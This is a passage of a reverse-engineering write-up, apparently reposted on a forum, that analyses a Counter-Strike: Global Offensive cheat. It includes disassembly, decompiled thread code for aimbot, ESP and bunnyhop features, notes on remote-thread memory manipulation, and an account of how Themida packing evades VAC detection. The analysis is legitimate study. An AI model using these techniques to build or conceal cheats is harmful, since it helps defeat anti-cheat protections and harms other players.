0x100aa31b eb05 jmp 0x100aa322 |`-> 0x100aa31d 8b01 mov eax, dword [ecx] | 0x100aa31f ff5034 call dword [eax + 0x34] `--> 0x100aa322 50 push eax 0x100aa323 a1f8325a10 mov eax, dword [0x105a32f8] [...] If the cheat wants to run an in-game console command, it can allocate memory in the game process, pass the arguments to the function using this memory, and create a new thread using CreateRemoteThread at the beginning of the procedure. When the cheat has located all it needs to work, it will start a bunch of threads that implement each of the functionalities. These threads are in charge of monitoring and manipulate the game memory using the functions ReadProcessMemory and WriteProcessMemory. Changing the values of the internal game structures at will, the cheat can achieve the functionalities it offers. I have identified some of the functions and renamed them in my pseudocode: CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimassist, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)aimlock, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)bunnyhop, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)anti_flash, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403F0E, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)esp_hack, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)radar_hack, 0, 0, 0); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)kill_message, 0, 0, 0); while ( !byte_4F1081 || !byte_4F1054 || !byte_4F1082 || !byte_4F10C9 || !byte_4F1062 || !byte_4F1040 || !byte_4F1090 || !byte_4F1028 ) Sleep(0x64u); // Default config cfg_antiflash = 1; cfg_aimlock = 1; cfg_killmessage = 1; cfg_radarhack = 1; byte_4F1032 = 0; cfg_glowesp = 1; byte_4F10C0 = 0; cfg_bunnyhop = 1; cfg_aimassist = 1; cfg_reload(); while ( WaitForSingleObject(csgo_prochandler, 0) != 0 ) cfg_changes_loop(); CloseHandle(csgo_prochandler); j_exit(0); Private version protection The public version is poorly protected, they just encrypted the strings with a simple algorithm but it has no code obfuscation or PE packing. On the other side, the private version is protected with Themida, a commercial packer that, depending on its configuration, can be quite effective protecting executables. It's very likely that they use Themida for two purposes: Protect the cheat license from being patched. The program can be manipulated to validate any license when running in a computer, but reconstruct a fully working version of the packed executable and patch it may be quite tricky. The second and most important, avoid the VAC signatures from detecting their cheat when running. Themida can protect the original opcodes of the program when it's loaded in memory and running, and writing signatures (patterns) for those opcodes is one of the methods VAC uses to detect cheaters. Closing If we compare it to other cheats, this one is simple in terms of functionality, but still quite effective. Bear in mind that the CSGO binaries used for the analysis are not from the latest game update, as I wrote this one week ago. The binaries I used are: 942fa5d3ef9e0328157b34666327461cee10aae74b26af135b8589dc35a5abc7 client.dll e6f3eda5877f2584aeb43122a85d0861946c7fb4222d0cb6f3bc30034e4d3e24 engine.dll 1a5bb2b0ae9f2e6ef757c834eeb2c360a59dce274b2e4137706031f629e6455f csgo.exe This means that the cheat signatures may have been slightly modified to work with the new executables, and the offsets probably won't be the same if these binaries changed in the latest version of the game. Sursa: https://blog.badtrace.com/post/reverse-engineering-a-csgo-cheat/
      • 1
      • Upvote
×
×
  • Create New...